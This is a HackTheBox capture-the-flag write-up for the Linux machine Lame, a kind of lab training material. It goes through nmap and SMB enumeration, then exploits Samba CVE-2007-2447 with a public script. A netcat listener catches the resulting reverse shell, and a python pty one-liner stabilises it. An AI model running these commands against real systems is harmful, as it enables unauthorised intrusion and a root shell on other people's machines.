Lame
Lame
Platform: HackTheBox | Difficulty: Easy | OS: Linux Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved
Summary
Walkthrough of the HackTheBox machine Lame (Linux). Foothold via CVE-2007-2447, rce, smb; privilege escalation to root. Both flags captured and redacted.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -O -sVC 10.10.10.3
| Port | Service | Version | Notes |
|---|---|---|---|
| - | - | - | (ports documented in narrative) |
Enumeration highlights
- Detected OS: Linux.
- Scan used:
nmap -p- -sV -O -sVC 10.10.10.3.
Foothold
Vulnerability / Misconfiguration
- First, run nmap to the machine's host, so we can see all open ports and the service's running.
sh read-only • copy allowednmap -p- -sV -O -sVC 10.10.10.3
-
Notice there's 2 ports that might be running some type of network shares. Not only that, we're allowed to login in ftp as anonymous.
-
Now let's login with ftp.
-
Let's check are there any files or directories.
-
Got nothing.
-
Now let's do SMB enumeration.
sh read-only • copy allowedsmbmap -H 10.10.10.3
- Notice there's 2 different directories than the others -> tmp, opt (doesn't have any dollar sign).
NOTES:
tmp and opt doesn't have any dollar sign, means it can be accessed by regular use privileges.
- Since only tmp directory with permissions to read and write, means tmp shall be our interest now. But the problem is we don't have any user credentials for this tmp directory.
- Even though it's open here, but still we need user credentials to login to it.
- Now let's use search split to potentially see if there's an exploit associated with the service version of samba that's running on this machine.
sh read-only • copy allowedsearchsploit samba 3.0.2
-
Based from the first output.
-
We can use metasploit, but let's not use that tools, we want to dive in manually, let's start by find where this exploit stored on our kali linux (THE CVE NUMBER).
sh read-only • copy allowedcat /usr/share/exploitdb/exploits/unix/remote/16320.rb | grep CVE
-
Let's jump to the url given.
-
Based on the samba documentation, we know that there's a configuration option which is not enabled by default and it can lead to RCE.
-
Anyway when searched the CVE number at google, i found this github repository.
https://github.com/amriunix/CVE-2007-2447
- Before run the script, run
nc -nlvp 4444so we can grab the reverse shell spawned by listening. - Next run this payload:
python3 usermap_script.py 10.10.10.3 139 10.10.14.4 4444
-
Let's type
idandwhoami. -
We are
root, that's great! We don't need privilege escalation then to solve this challenge. -
The next thing to do now is to stabilize our shell first.
-
Let's run this python command:
py read-only • copy allowedpython -c 'import pty; pty.spawn("/bin/sh")'
-
Now let's list all files or directories inside the machine.
-
Jump to the
rootdirectory. -
Cat the root.txt file.
-
Got the flag!
Proof
User flag: REDACTED
Privilege Escalation
User -> Root/Admin
GET THE USER.TXT FILE
-
Simply go to
homedirectory. Then go tomakis. -
Cat the
.txtfile. -
User owned!
Root flag: REDACTED
Flags
| Flag | Value |
|---|---|
| user | REDACTED |
| root | REDACTED |
Lessons Learned
- Enumerate everything; version strings map to CVEs.
- Confirm each hypothesis with a test before building the exploit.
- Chain foothold -> privilege escalation mechanically.